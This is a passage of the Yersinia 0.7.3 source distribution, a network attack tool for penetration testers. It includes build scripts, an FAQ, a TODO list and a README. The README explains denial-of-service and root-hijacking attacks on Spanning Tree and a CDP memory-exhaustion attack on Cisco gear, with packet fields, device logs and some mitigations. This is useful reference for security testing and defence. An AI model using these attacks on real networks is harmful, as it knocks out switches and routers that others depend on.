dnl We couldn't find ncurses, try SysV curses dnl if $search_ncurses then AC_EGREP_HEADER(init_color, /usr/include/curses.h, AC_USE_SYSV_CURSES) AC_EGREP_CPP(USE_NCURSES,[ #include #ifdef __NCURSES_H #undef USE_NCURSES USE_NCURSES #endif ],[ CURSES_INCLUDEDIR="$CURSES_INCLUDEDIR -DRENAMED_NCURSES" AC_DEFINE(HAS_CURSES) has_curses=true AC_DEFINE(USE_NCURSES) search_ncurses=false screen_manager="ncurses installed as curses" ]) fi dnl dnl Try SunOS 4.x /usr/5{lib,include} ncurses dnl The flags USE_SUNOS_CURSES, USE_BSD_CURSES and BUGGY_CURSES dnl should be replaced by a more fine grained selection routine dnl if $search_ncurses then if test -f /usr/5include/curses.h then AC_USE_SUNOS_CURSES fi else # check for ncurses version, to properly ifdef mouse-fix AC_MSG_CHECKING(for ncurses version) ncurses_version=unknown cat > conftest.$ac_ext < #else #include #endif #undef VERSION VERSION:NCURSES_VERSION EOF if (eval "$ac_cpp conftest.$ac_ext") 2>&AC_FD_CC | egrep "VERSION:" >conftest.out 2>&1; then changequote(,)dnl ncurses_version=`cat conftest.out|sed -e 's/^[^"]*"//' -e 's/".*//'` changequote([,])dnl fi rm -rf conftest* AC_MSG_RESULT($ncurses_version) case "$ncurses_version" in changequote(,)dnl 4.[01]) changequote([,])dnl AC_DEFINE(NCURSES_970530,2) ;; 1.9.9g) AC_DEFINE(NCURSES_970530,1) ;; 1*) AC_DEFINE(NCURSES_970530,0) ;; esac fi ]) AC_CHECK_CURSES AM_CONDITIONAL(HAS_CURSES, test "$has_curses" = true) if test "$has_curses" = "true"; then AC_CHECK_HEADERS(panel.h) AC_CHECK_LIB(ncurses, use_default_colors, [AC_DEFINE(HAVE_NCURSES_USE_DEFAULTS_COLORS,1,[Define to 1 if have use_default_colors])]) AC_CHECK_LIB(ncurses, resize_term, [AC_DEFINE(HAVE_NCURSES_RESIZETERM,1,[Define to 1 if have resizeterm])]) AC_CHECK_LIB(ncurses, wresize, [AC_DEFINE(HAVE_NCURSES_WRESIZE,1,[Define to 1 if have wresize])]) fi dnl dnl GTK Interface checks dnl dnl AC_ARG_ENABLE(gtk, [ --without-gtk disable gtk 2.0 interface],,enable_gtk=true) dnl AH_TEMPLATE([HAVE_GTK], [gtk interface support]) dnl AM_CONDITIONAL(HAVE_GTK, test "$enable_gtk" = true) AC_ARG_ENABLE(gtk, AC_HELP_STRING([--disable-gtk], [Disable gtk 2.0 interface]), [use_gtk=$enableval], [use_gtk=yes]) AH_TEMPLATE([HAVE_GTK], [gtk interface support]) AM_CONDITIONAL(HAVE_GTK, test $use_gtk = yes) if test $use_gtk = yes; then AC_DEFINE(HAVE_GTK) pkg_modules="gtk+-2.0 >= 2.0.0" PKG_CHECK_MODULES(PACKAGE, [$pkg_modules]) AC_SUBST(PACKAGE_CFLAGS) AC_SUBST(PACKAGE_LIBS) GETTEXT_PACKAGE=yersinia AC_SUBST(GETTEXT_PACKAGE) AC_DEFINE_UNQUOTED(GETTEXT_PACKAGE,"$GETTEXT_PACKAGE", [Gettext package.]) dnl Add the languages which your application supports here. ALL_LINGUAS="" AM_GLIB_GNU_GETTEXT fi AH_TEMPLATE([INFO_KERN], "Kernel name") AH_TEMPLATE([INFO_KERN_VER], "Kernel version") AH_TEMPLATE([INFO_PLATFORM], "Platform architecture") AH_TEMPLATE([INFO_DATE], "Building date") info_date="`date '+%a %d-%b-%Y %H:%M'`" info_kern="`uname -s`" info_kern_ver="`uname -r`" info_platform="`uname -m`" AC_DEFINE_UNQUOTED(INFO_KERN, "$info_kern") AC_DEFINE_UNQUOTED(INFO_KERN_VER, "$info_kern_ver") AC_DEFINE_UNQUOTED(INFO_PLATFORM, "$info_platform") AC_DEFINE_UNQUOTED(INFO_DATE, "$info_date") dnl dnl Build Makefile. dnl dnl AC_CONFIG_FILES([Makefile]) AC_OUTPUT(Makefile src/Makefile) echo "" echo " Yersinia, our beloved one, has been configured with the following options." echo " Remote admin : $enable_admin" echo " Use ncurses : $has_curses" echo " Use gtk : $use_gtk" echo "" yersinia-0.7.3/FAQ0000644000175000017500000001247012234207266011510 0ustar nknk$Id: FAQ 43 2007-04-27 11:07:17Z slay $ yersinia FAQ INDEX 1. General Questions: 1.1 Where can I get help? 1.2 Where did the name come from? 1.3 How do you dare to implement a tool for doing nasty things? 1.4 Wtf? This crappy software does not run in Windows. 2. Downloading yersinia: 2.1 Where can I download yersinia? 3. Building yersinia: 3.1 How can I build yersinia? 3.2 How can I compile yersinia on Mac OSX? 3.3 When will be the 'put_your_preferred_os_here' supported? 4. Installing yersinia: 4.1 How can I install yersinia? 5. Using yersinia: 5.1 I've resized my window and yersinia is displaying crappy data! 5.2 There are some fields in the packet that don't display their meaning! 5.3 I'm unable to switch between the different protocol windows!! 5.4 Why the hell the ncurses interface has a lot more options than the Cisco interface? 5.5 Arrgggghhh!!! The proggy crashes 'ad infinitum', is this a f*ck*n' sh*t? 5.6 I can't see thouse fancy colours in Yersinia 6. Personal questions: 6.1 Who are you? 6.2 You are so handsome!!! I want to meet you in real life. 1. General Questions Q 1.1: Where can I get help? A: There is no official support for yersinia, but you can try to send an e-mail to yersinia _-AT-_ yersinia_-DOT-_ net and wait if something happens. Q 1.2: Where did the name come from? A: No other bacteria, perhaps organism, had so much of an effect on human history as Yersinia pestis, the bacteria that causes plague. Many outbreaks of plague have caused death and population reduction throughout history. The most famous, however, was the notorious Black Death of medeival times that killed one third of the population of 14th century Europe. People watched their family and friends die with sickly buboes (swollen lymph nodes) on their necks and a color near black all over their bodies, caused by respiratory failure. People who contracted the disease and were unable to fight it off died within three to five days. (taken from http://members.aol.com/omaryak/plague/) Q 1.3 How do you dare to implement a tool for doing nasty things? A: Hey! take it easy. We are pen-testers, so we need this little proggie for making chaos in our customers networks. Running yersinia to do "bad things" is not recommended and could cause inestability and serious troubles to your health. Q: 1.4 Wtf? This crappy software does not run in Windows. A: No, it does certainly not. Perhaps some nice fellow could port yersinia to Windows and make you happy. 2. Downloading yersinia Q 2.1: Where can I download yersinia? A: Try http://www.yersinia.net, downloads section. 3. Building yersinia Q 3.1: How can I build yersinia? A: Do a './configure', and then 'make' Q 3.2: How can I compile yersinia on Mac OSX? A: Install XCode, Darwin ports, and the following ports: autoconf automake expat gettext glib2-devel libiconv libnet11 libpcap pkgconfig @0.21_0 (active) Q 3.3: When will be the 'put_your_preferred_os_here' supported? A: When someone (like you) help us compiling and patching Yersinia 4. Installing yersinia Q 4.1: How can I install yersinia? A: Do a 'make install' 5. Using yersinia Q 5.1: I've resized my window and yersinia is displaying crappy data! A: Please press Ctrl+L to clear and refresh the screen Q 5.2: There are some fields in the packet that don't display their meaning! A: Please, use the best tool for dissecting packets: ethereal. Q 5.3: I'm unable to switch between different protocol windows!! A: To switch between protocol windows you must use the function keys. Unfortunately the way function keys works is different with different terminal emulations. If you have problems with the function keys enable some other function keys emulation in your client terminal software, e.g.: On PuTTY select Terminal -> Keyboard and mark "The Function Keys and keypad" as "Xterm R6". Q 5.4: Why the hell the ncurses interface has a lot more options than the Cisco interface? A: Man... we are developing this proggy out of work time, it's just a matter of time... Anyway you can try to help us... :) Q 5.5: Arrgggghhh!!! The proggy crashes 'ad infinitum', is this a f*ck*n' sh*t? A: First of all thanks a lot for your invaluable opinion... :-P On the other hand, we are *NOT* professional developers... By the way, have you noticed the proggy version (0.5.x)? :-P Anyway you can send us a patch solving the problem and you will get your 5 minutes of fame... :D Q 5.6: I can't see thouse fancy colours in Yersinia A: Set your $TERM to pcvt25, little prairie dog 6. Personal questions: Q 6.1: Who are you? A: A couple of good friends and coworkers who enjoy a lot to play within the network security field. By the way we like a lot the spanish food. :D. Q 6.2 You are so handsome!!! I want to meet you in real life. A: Girls are welcome. But take into account the following sentence: 'If you spend more time sharpening your axe, you'll spend less time chopping wood' yersinia-0.7.3/install-sh0000755000175000017500000001273612234207266013167 0ustar nknk#!/bin/sh # # install - install a program, script, or datafile # This comes from X11R5 (mit/util/scripts/install.sh). # # Copyright 1991 by the Massachusetts Institute of Technology # # Permission to use, copy, modify, distribute, and sell this software and its # documentation for any purpose is hereby granted without fee, provided that # the above copyright notice appear in all copies and that both that # copyright notice and this permission notice appear in supporting # documentation, and that the name of M.I.T. not be used in advertising or # publicity pertaining to distribution of the software without specific, # written prior permission. M.I.T. makes no representations about the # suitability of this software for any purpose. It is provided "as is" # without express or implied warranty. # # Calling this script install-sh is preferred over install.sh, to prevent # `make' implicit rules from creating a file called install from it # when there is no Makefile. # # This script is compatible with the BSD install script, but was written # from scratch. It can only install one file at a time, a restriction # shared with many OS's install programs. # set DOITPROG to echo to test this script # Don't use :- since 4.3BSD and earlier shells don't like it. doit="${DOITPROG-}" # put in absolute paths if you don't have them in your path; or use env. vars. mvprog="${MVPROG-mv}" cpprog="${CPPROG-cp}" chmodprog="${CHMODPROG-chmod}" chownprog="${CHOWNPROG-chown}" chgrpprog="${CHGRPPROG-chgrp}" stripprog="${STRIPPROG-strip}" rmprog="${RMPROG-rm}" mkdirprog="${MKDIRPROG-mkdir}" transformbasename="" transform_arg="" instcmd="$mvprog" chmodcmd="$chmodprog 0755" chowncmd="" chgrpcmd="" stripcmd="" rmcmd="$rmprog -f" mvcmd="$mvprog" src="" dst="" dir_arg="" while [ x"$1" != x ]; do case $1 in -c) instcmd="$cpprog" shift continue;; -d) dir_arg=true shift continue;; -m) chmodcmd="$chmodprog $2" shift shift continue;; -o) chowncmd="$chownprog $2" shift shift continue;; -g) chgrpcmd="$chgrpprog $2" shift shift continue;; -s) stripcmd="$stripprog" shift continue;; -t=*) transformarg=`echo $1 | sed 's/-t=//'` shift continue;; -b=*) transformbasename=`echo $1 | sed 's/-b=//'` shift continue;; *) if [ x"$src" = x ] then src=$1 else # this colon is to work around a 386BSD /bin/sh bug : dst=$1 fi shift continue;; esac done if [ x"$src" = x ] then echo "install: no input file specified" exit 1 else true fi if [ x"$dir_arg" != x ]; then dst=$src src="" if [ -d $dst ]; then instcmd=: chmodcmd="" else instcmd=mkdir fi else # Waiting for this to be detected by the "$instcmd $src $dsttmp" command # might cause directories to be created, which would be especially bad # if $src (and thus $dsttmp) contains '*'. if [ -f $src -o -d $src ] then true else echo "install: $src does not exist" exit 1 fi if [ x"$dst" = x ] then echo "install: no destination specified" exit 1 else true fi # If destination is a directory, append the input filename; if your system # does not like double slashes in filenames, you may need to add some logic if [ -d $dst ] then dst="$dst"/`basename $src` else true fi fi ## this sed command emulates the dirname command dstdir=`echo $dst | sed -e 's,[^/]*$,,;s,/$,,;s,^$,.,'` # Make sure that the destination directory exists. # this part is taken from Noah Friedman's mkinstalldirs script # Skip lots of stat calls in the usual case. if [ ! -d "$dstdir" ]; then defaultIFS=' ' IFS="${IFS-${defaultIFS}}" oIFS="${IFS}" # Some sh's can't handle IFS=/ for some reason. IFS='%' set - `echo ${dstdir} | sed -e 's@/@%@g' -e 's@^%@/@'` IFS="${oIFS}" pathcomp='' while [ $# -ne 0 ] ; do pathcomp="${pathcomp}${1}" shift if [ ! -d "${pathcomp}" ] ; then $mkdirprog "${pathcomp}" else true fi pathcomp="${pathcomp}/" done fi if [ x"$dir_arg" != x ] then $doit $instcmd $dst && if [ x"$chowncmd" != x ]; then $doit $chowncmd $dst; else true ; fi && if [ x"$chgrpcmd" != x ]; then $doit $chgrpcmd $dst; else true ; fi && if [ x"$stripcmd" != x ]; then $doit $stripcmd $dst; else true ; fi && if [ x"$chmodcmd" != x ]; then $doit $chmodcmd $dst; else true ; fi else # If we're going to rename the final executable, determine the name now. if [ x"$transformarg" = x ] then dstfile=`basename $dst` else dstfile=`basename $dst $transformbasename | sed $transformarg`$transformbasename fi # don't allow the sed command to completely eliminate the filename if [ x"$dstfile" = x ] then dstfile=`basename $dst` else true fi # Make a temp file name in the proper directory. dsttmp=$dstdir/#inst.$$# # Move or copy the file name to the temp name $doit $instcmd $src $dsttmp && trap "rm -f ${dsttmp}" 0 && # and set any options; do chmod last to preserve setuid bits # If any of these fail, we abort the whole thing. If we want to # ignore errors from any of these, just make sure not to ignore # errors from the above "$doit $instcmd $src $dsttmp" command. if [ x"$chowncmd" != x ]; then $doit $chowncmd $dsttmp; else true;fi && if [ x"$chgrpcmd" != x ]; then $doit $chgrpcmd $dsttmp; else true;fi && if [ x"$stripcmd" != x ]; then $doit $stripcmd $dsttmp; else true;fi && if [ x"$chmodcmd" != x ]; then $doit $chmodcmd $dsttmp; else true;fi && # Now rename the file to the real destination. $doit $rmcmd -f $dstdir/$dstfile && $doit $mvcmd $dsttmp $dstdir/$dstfile fi && exit 0 yersinia-0.7.3/THANKS0000644000175000017500000000234712234207266012073 0ustar nknk# $Id: THANKS 37 2007-02-09 02:53:23Z tomac $ Yersinia couln't have been possible without our friends support. We would like to say thanks to many people but specially to: Friends: Tino (drenaier) for his support. Jess (from jessland) for his advices and suggestions. Pablo (darkcode) for his Sparc. Misc: Ebay for allowing us to buy some routers and switches. Pizza Serranita for giving us strength. Coca-cola light (diet in US) for keeping us awake. Red Bull + Moskovskaya for clarifying our thoughts. David: Carlos (cfragoso) for his comments and SANS conferences. My friends (Palencia, CM Alcalá, S21sec) for letting me speak about yersinia mostly at 5.00 am on Friday or Saturday ;) Alfredo: Conchi, for her patience And finally, Mateo for being the future überhacker and the true center of my life. Andrew Vladimirov and colleagues: For their support and for making a 1337 book "Hacking Cisco Exposed". Web page artist: Mikel Enrique Patch submitters: Alejandro Sanchez Acosta Enigma Obfuscate Andrej Frank Additional documentation: Tarek Amr, AKA gr33ndata (http://gr33ndata.blogspot.com/) yersinia-0.7.3/TODO0000644000175000017500000000170212234207266011642 0ustar nknk$Id: TODO 2 2006-04-03 21:04:25Z tomac $ - Verify that when deleting a node, the field user is decremented if the interface was used by that node. - VMPS attacks. Hey, we don't have VMPS in any of our little 29xx switches :( - Take into account the Trailers Ethernet field. - Use backspace in ncurses string fields. - Keep aware of 802.1Q packets with more than 1500 bytes long. - ISL attacks. Again, we don't have ISL in any of our little 29xx switches :( - Full ISL support - Fix a weird bug in CDP mode - Use TLVs with a linked list. :) - Normalize *FOR ALL PROTOCOLS* the way IPv4 addresses are stored in the tmp_data structure. - Move all ARP functions to arp.c - VRRP support - Lateral scroll in ncurses when asking for pcap file - Update show interface information - Escape when asking for something in ncurses - Remove global tty_tmp - PCAP save from multiple interfaces - A true man page!!!! GUI --- - Manage SIGWINCH - GTK GUI yersinia-0.7.3/README0000644000175000017500000003754412234207266012047 0ustar nknk$Id: README 2 2006-04-03 21:04:25Z tomac $ Spanning Tree ------------- #1: DOS attack sending conf BPDUs Let's send some conf BPDUs claiming be root!!! By sending continously conf BPDU with root pathcost 0, randomly generated bridge id (and therefore the same root id), and some default values for other fields, we try to annoy the switches close to us, causing a DoS when trying to parse and recalculate their STP engines. Source MAC: randomly generated. Destination MAC: 01:80:c2:00:00:00 Bridge ID: 8000:source_mac Root ID: 8000:source_mac Hello time: 2 Forward delay: 15 Max age: 20 Root pathcost: 0 01:20:26: STP: VLAN0001 heard root 32768-d1bf.6d60.097b on Fa0/8 01:20:26: STP: VLAN0001 heard root 32768-9ac6.0f72.7118 on Fa0/8 01:20:26: STP: VLAN0001 heard root 32768-85a3.3662.43dc on Fa0/8 01:20:26: STP: VLAN0001 heard root 32768-3d84.bc1c.918e on Fa0/8 01:20:26: STP: VLAN0001 heard root 32768-b2e2.1a12.dbb4 on Fa0/8 01:20:26: STP: VLAN0001 heard root 32768-4ba6.2d45.5844 on Fa0/8 01:20:26: STP: VLAN0001 heard root 32768-deb0.4f14.7288 on Fa0/8 01:20:26: STP: VLAN0001 heard root 32768-4879.8036.0e24 on Fa0/8 01:20:26: STP: VLAN0001 heard root 32768-2776.e340.9222 on Fa0/8 01:20:26: STP: VLAN0001 heard root 32768-299e.de76.c07d on Fa0/8 01:20:26: STP: VLAN0001 heard root 32768-d38b.bc5b.e90d on Fa0/8 01:20:26: STP: VLAN0001 heard root 32768-78ee.0205.afdb on Fa0/8 01:20:26: STP: VLAN0001 heard root 32768-b32b.e969.81b1 on Fa0/8 01:20:26: STP: VLAN0001 heard root 32768-b16b.c428.88a3 on Fa0/8 01:20:26: STP: VLAN0001 heard root 32768-dd01.1436.9044 on Fa0/8 #2: DOS attack sending tcn BPDUs This attack sends continously tcn BPDUs causing the root switch to send conf BPDUs acknowledging the change. Besides, the root switch will send topology change notifications to the members of the tree, and they will have to recalculate their STP engine to learn the new change. Source MAC: randomly generated. Destination MAC: 01:80:c2:00:00:00 01:35:39: STP: VLAN0001 Topology Change rcvd on Fa0/8 01:35:39: STP: VLAN0001 Topology Change rcvd on Fa0/8 01:35:39: STP: VLAN0001 Topology Change rcvd on Fa0/8 01:35:39: STP: VLAN0001 Topology Change rcvd on Fa0/8 01:35:39: STP: VLAN0001 Topology Change rcvd on Fa0/8 01:35:39: STP: VLAN0001 Topology Change rcvd on Fa0/8 01:35:39: STP: VLAN0001 Topology Change rcvd on Fa0/8 01:35:39: STP: VLAN0001 Topology Change rcvd on Fa0/8 01:35:39: STP: VLAN0001 Topology Change rcvd on Fa0/8 01:35:39: STP: VLAN0001 Topology Change rcvd on Fa0/8 01:35:39: STP: VLAN0001 Topology Change rcvd on Fa0/8 01:35:39: STP: VLAN0001 Topology Change rcvd on Fa0/8 01:35:39: STP: VLAN0001 Topology Change rcvd on Fa0/8 01:35:39: STP: VLAN0001 Topology Change rcvd on Fa0/8 01:35:39: STP: VLAN0001 Topology Change rcvd on Fa0/8 01:35:39: STP: VLAN0001 Topology Change rcvd on Fa0/8 01:35:39: STP: VLAN0001 Topology Change rcvd on Fa0/8 01:35:39: STP: VLAN0001 Topology Change rcvd on Fa0/8 #3: NONDOS attack Claiming Root Role Now our aim is to get the root role of the tree. How can we accomplish this issue? Just listening to the network to find out which one is the root role, and start sending conf BPDU with lower priority to become root. Source MAC: same one as the sniffed BPDU. Destination MAC: same one as the sniffed BPDU. Bridge ID: the sniffed one slightly modified to have a lower priority Root ID: 8000: same as bridge id. Hello time: same one as the sniffed BPDU. Forward delay: same one as the sniffed BPDU. Max age: same one as the sniffed BPDU. Root pathcost: same one as the sniffed BPDU. 01:58:48: STP: VLAN0001 heard root 32769-000e.84d4.2280 on Fa0/8 01:58:48: supersedes 32769-000e.84d5.2280 01:58:48: STP: VLAN0001 new root is 32769, 000e.84d4.2280 on port Fa0/8, cost 19 #4 NONDOS attack Claiming a non-root role We pretend to be another weird switch playing with STP and praising our root id :) #5 DOS attack causing eternal root elections By sending config BPDUs autodecrementing their priority, we can cause infinite root elections in the STP tree. It would be something similar to recount the election's votes to determine the winner (do you remember Florida?) 00:20:21: STP: VLAN0001 heard root 32769-000e.84d4.2280 on Fa0/9 00:20:21: supersedes 32769-000e.84d5.2280 00:20:21: STP: VLAN0001 new root is 32769, 000e.84d4.2280 on port Fa0/9, cost 19 00:20:23: STP: VLAN0001 heard root 32769-000e.84d3.2280 on Fa0/9 00:20:23: supersedes 32769-000e.84d4.2280 00:20:23: STP: VLAN0001 new root is 32769, 000e.84d3.2280 on port Fa0/9, cost 19 00:20:25: STP: VLAN0001 heard root 32769-000e.84d2.2280 on Fa0/9 00:20:25: supersedes 32769-000e.84d3.2280 00:20:25: STP: VLAN0001 new root is 32769, 000e.84d2.2280 on port Fa0/9, cost 19 00:20:27: STP: VLAN0001 heard root 32769-000e.84d1.2280 on Fa0/9 00:20:27: supersedes 32769-000e.84d2.2280 00:20:27: STP: VLAN0001 new root is 32769, 000e.84d1.2280 on port Fa0/9, cost 19 00:20:29: STP: VLAN0001 heard root 32769-000e.84d0.2280 on Fa0/9 00:20:29: supersedes 32769-000e.84d1.2280 00:20:29: STP: VLAN0001 new root is 32769, 000e.84d0.2280 on port Fa0/9, cost 19 00:20:31: STP: VLAN0001 heard root 32769-000e.84cf.2280 on Fa0/9 00:20:31: supersedes 32769-000e.84d0.2280 00:20:31: STP: VLAN0001 new root is 32769, 000e.84cf.2280 on port Fa0/9, cost 19 00:20:33: STP: VLAN0001 heard root 32769-000e.84ce.2280 on Fa0/9 00:20:33: supersedes 32769-000e.84cf.2280 00:20:33: STP: VLAN0001 new root is 32769, 000e.84ce.2280 on port Fa0/9, cost 19 00:20:35: STP: VLAN0001 heard root 32769-000e.84cd.2280 on Fa0/9 00:20:35: supersedes 32769-000e.84ce.2280 00:20:35: STP: VLAN0001 new root is 32769, 000e.84cd.2280 on port Fa0/9, cost 19 00:20:37: STP: VLAN0001 heard root 32769-000e.84cc.2280 on Fa0/9 00:20:37: supersedes 32769-000e.84cd.2280 00:20:37: STP: VLAN0001 new root is 32769, 000e.84cc.2280 on port Fa0/9, cost 19 00:20:39: STP: VLAN0001 heard root 32769-000e.84cb.2280 on Fa0/9 00:20:39: supersedes 32769-000e.84cc.2280 00:20:39: STP: VLAN0001 new root is 32769, 000e.84cb.2280 on port Fa0/9, cost 19 #6 DOS Attack causing root dissapearance This time we try to exhaust the root election proccess. We manage to become root in the STP tree, but we stop sending config BPDUs until it reaches max_age seconds (usually 20), forcing a new election proccess. 02:02:43: STP: VLAN0001 heard root 32769-000e.84d4.2280 on Fa0/9 02:02:43: supersedes 32769-000e.84d5.2280 02:02:43: STP: VLAN0001 new root is 32769, 000e.84d4.2280 on port Fa0/9, cost 19 02:03:03: STP: VLAN0001 we are the spanning tree root 02:03:04: STP: VLAN0001 heard root 32769-000e.84d4.2280 on Fa0/9 02:03:04: supersedes 32769-000e.84d5.2280 02:03:04: STP: VLAN0001 new root is 32769, 000e.84d4.2280 on port Fa0/9, cost 19 02:03:04: STP: VLAN0001 sent Topology Change Notice on Fa0/9 02:03:06: STP: VLAN0001 sent Topology Change Notice on Fa0/9 02:03:08: STP: VLAN0001 sent Topology Change Notice on Fa0/9 02:03:10: STP: VLAN0001 sent Topology Change Notice on Fa0/9 02:03:12: STP: VLAN0001 sent Topology Change Notice on Fa0/9 02:03:14: STP: VLAN0001 sent Topology Change Notice on Fa0/9 02:03:16: STP: VLAN0001 sent Topology Change Notice on Fa0/9 02:03:18: STP: VLAN0001 sent Topology Change Notice on Fa0/9 02:03:20: STP: VLAN0001 sent Topology Change Notice on Fa0/9 02:03:22: STP: VLAN0001 sent Topology Change Notice on Fa0/9 02:03:24: STP: VLAN0001 we are the spanning tree root 02:03:24: STP: VLAN0001 heard root 32769-000e.84d4.2280 on Fa0/9 02:03:24: supersedes 32769-000e.84d5.2280 02:03:24: STP: VLAN0001 new root is 32769, 000e.84d4.2280 on port Fa0/9, cost 19 02:03:24: STP: VLAN0001 sent Topology Change Notice on Fa0/9 02:03:26: STP: VLAN0001 sent Topology Change Notice on Fa0/9 02:03:28: STP: VLAN0001 sent Topology Change Notice on Fa0/9 02:03:30: STP: VLAN0001 sent Topology Change Notice on Fa0/9 02:03:32: STP: VLAN0001 sent Topology Change Notice on Fa0/9 02:03:34: STP: VLAN0001 sent Topology Change Notice on Fa0/9 02:03:36: STP: VLAN0001 sent Topology Change Notice on Fa0/9 02:03:38: STP: VLAN0001 sent Topology Change Notice on Fa0/9 02:03:40: STP: VLAN0001 sent Topology Change Notice on Fa0/9 02:03:42: STP: VLAN0001 sent Topology Change Notice on Fa0/9 02:03:44: STP: VLAN0001 we are the spanning tree root Mitigations (Cisco only) ------------------------ - Use port security and disable STP in those ports that don't require STP. For information about port security, please check the following url: http://www.cisco.com/en/US/products/hw/switches/ps628/products_configuration_guide_chapter09186a0080150bcd.html - If you are using the portfast feature in your STP configuration, enable also the BPDU guard for avoiding these attacks when the port automatically enters the forwarding state: http://www.cisco.com/warp/public/473/65.html - Use the root guard feature for avoiding rogue devices to become root: http://www.cisco.com/en/US/tech/tk389/tk621/technologies_tech_note09186a00800ae96b.shtml Further reading --------------- - Guillermo Marro's nice Master Thesis: http://seclab.cs.ucdavis.edu/papers/Marro_masters_thesis.pdf - Oleg K. Artemjev, Vladislav V. Myasnyankin. Fun with the Spanning Tree Protocol http://olli.digger.org.ru/STP CDP --- Cisco devices have always spoken a different language to communicate among them, to tell everybody that they are alive and which nifty features they have. CDP stands for Cisco Discovery Protocol. By means of this particular language, Cisco devices set up a virtual world where everyone is happy and ther is no crime at all. Or at least it seems to be this way, since many network administrators aren't worried for CDP yet. Although some of information that can be sent in a CDP packet is still undocumented (CDP is a propietary protocol and it seems that Cisco does not want to give details about it), at least one old attack (that it is still valid) is known, and there is a public implementation (FX did it!). This attack is a DoS trying to exhaust the device memory so that it can't allocate more memory for any device process. How can we do it? Simply sending CDP packets with bogus data simulating real Cisco devices. The target device will begin to allocate memory in its CDP table to save the new neighbor information, but without knowing that it is going to have thousands or millions of new friends. Other attack implemented in the current code is the ability to set up a new virtual Cisco device that it is designated only for make a little mess, trying to confuse network administrators. Screenshot of the attack running: Output of a Cisco 2503 router: athens#sh mem Head Total(b) Used(b) Free(b) Lowest(b) Largest(b) Processor 4873C 3893444 3893444 0 0 0 I/O 400000 2097152 2097088 64 64 64 %SCHED-3-THRASHING: Process thrashing on watched queue 'CDP packets' (count 57). -Process= "CDP Protocol", ipl= 6, pid= 9 -Traceback= 3159232 31594DE 3201660 %LANCE-5-COLL: Unit 0, excessive collisions. TDR=7 %SCHED-3-THRASHING: Process thrashing on watched queue 'CDP packets' (count 57). -Process= "CDP Protocol", ipl= 6, pid= 9 -Traceback= 3159232 31594DE 3201660 %SYS-2-MALLOCFAIL: Memory allocation of 100 bytes failed from 0x3201B3E, pool Processor, alignment 0 -Process= "CDP Protocol", ipl= 0, pid= 9 -Traceback= 314E8A4 314FA06 3201B46 32016C8 %SCHED-3-THRASHING: Process thrashing on watched queue 'CDP packets' (count 57). -Process= "CDP Protocol", ipl= 6, pid= 9 -Traceback= 3159232 31594DE 3201660 %SYS-2-MALLOCFAIL: Memory allocation of 100 bytes failed from 0x3201B3E, pool Processor, alignment 0 -Process= "CDP Protocol", ipl= 0, pid= 9 -Traceback= 314E8A4 314FA06 3201B46 32016C8 %SYS-2-MALLOCFAIL: Memory allocation of 100 bytes failed from 0x3201B3E, pool Processor, alignment 0 -Process= "CDP Protocol", ipl= 0, pid= 9 -Traceback= 314E8A4 314FA06 3201B46 32016C8 And a couple of minutes later after killing the attack, the router surprisingly gets halted for several seconds, and then kicks you out of the terminal :) %SYS-3-CPUHOG: Task ran for 16884 msec (69/69), Process = Exec, PC = 3158D42 -Traceback= 3158CEE 3158D4A 30F7330 30F742A 30FF3A4 30FEF76 30FEF1C 3116860 Output of a Cisco 2950 switch: 00:06:08: %SYS-2-MALLOCFAIL: Memory allocation of 224 bytes failed from 0x800118D0, alignment 0 Pool: Processor Free: 0 Cause: Not enough free memory Alternate Pool: I/O Free: 32 Cause: Not enough free memory -Process= "CDP Protocol", ipl= 0, pid= 26 -Traceback= 801DFC30 801E1DD8 800118D8 80011218 801D932C 801D9318 00:06:08: ../src-calhoun/strata_stats.c at line 137: can't not push event list 00:06:09: ../src-calhoun/strata_stats.c at line 137: can't not push event list 00:06:10: ../src-calhoun/strata_stats.c at line 137: can't not push event list 00:06:11: ../src-calhoun/strata_stats.c at line 137: can't not push event list 00:06:12: ../src-calhoun/strata_stats.c at line 137: can't not push event list 00:06:13: ../src-calhoun/strata_stats.c at line 137: can't not push event list 00:06:14: ../src-calhoun/strata_stats.c at line 137: can't not push event list 00:06:15: ../src-calhoun/strata_stats.c at line 137: can't not push event list 00:06:16: ../src-calhoun/strata_stats.c at line 137: can't not push event list 00:06:17: ../src-calhoun/strata_stats.c at line 137: can't not push event list 00:06:18: ../src-calhoun/strata_stats.c at line 137: can't not push event list 00:06:19: ../src-calhoun/strata_stats.c at line 137: can't not push event list 00:06:20: ../src-calhoun/strata_stats.c at line 137: can't not push event list 00:06:21: ../src-calhoun/strata_stats.c at line 137: can't not push event list 00:06:22: ../src-calhoun/strata_stats.c at line 137: can't not push event list 00:06:23: ../src-calhoun/strata_stats.c at line 137: can't not push event list 00:06:38: %SYS-2-MALLOCFAIL: Memory allocation of 140 bytes failed from 0x801E28BC, alignment 0 Pool: Processor Free: 0 Cause: Not enough free memory Alternate Pool: I/O Free: 32 Cause: Not enough free memory -Process= "Calhoun Statistics Process", ipl= 0, pid= 21 -Traceback= 801DFC30 801E1DD8 801E28C4 801F13BC 801F1470 802F7C90 802F9190 802F9788 801D932C 801D9318 00:06:38: ../src-calhoun/strata_stats.c at line 137: can't not push event list 00:06:39: ../src-calhoun/strata_stats.c at line 137: can't not push event list 00:06:40: ../src-calhoun/strata_stats.c at line 137: can't not push event list 00:06:41: ../src-calhoun/strata_stats.c at line 137: can't not push event list 00:06:42: ../src-calhoun/strata_stats.c at line 137: can't not push event list 00:06:44: ../src-calhoun/strata_stats.c at line 137: can't not push event list 00:06:45: ../src-calhoun/strata_stats.c at line 137: can't not push event list 00:06:46: ../src-calhoun/strata_stats.c at line 137: can't not push event list 00:06:47: ../src-calhoun/strata_stats.c at line 137: can't not push event list 00:06:48: ../src-calhoun/strata_stats.c at line 137: can't not push event list 00:06:49: ../src-calhoun/strata_stats.c at line 137: can't not push event list 00:06:50: ../src-calhoun/strata_stats.c at line 137: can't not push event list 00:06:59: %SYS-3-CPUHOG: Task ran for 2076 msec (11/10), process = Net Background, PC = 801ABD40. -Traceback= 801ABD48 801D932C 801D9318 And then, the CDP process is totally down, even when we stop the attack. No more CDP babies... yersinia-0.7.3/configure0000755000175000017500000073717312234207266013103 0ustar nknk#! /bin/sh # Guess values for system-dependent variables and create Makefiles. # Generated by GNU Autoconf 2.68 for yersinia 0.7.3. # # Report bugs to . # # # Copyright (C) 1992, 1993, 1994, 1995, 1996, 1998, 1999, 2000, 2001, # 2002, 2003, 2004, 2005, 2006, 2007, 2008, 2009, 2010 Free Software # Foundation, Inc. # # # This configure script is free software; the Free Software Foundation # gives unlimited permission to copy, distribute and modify 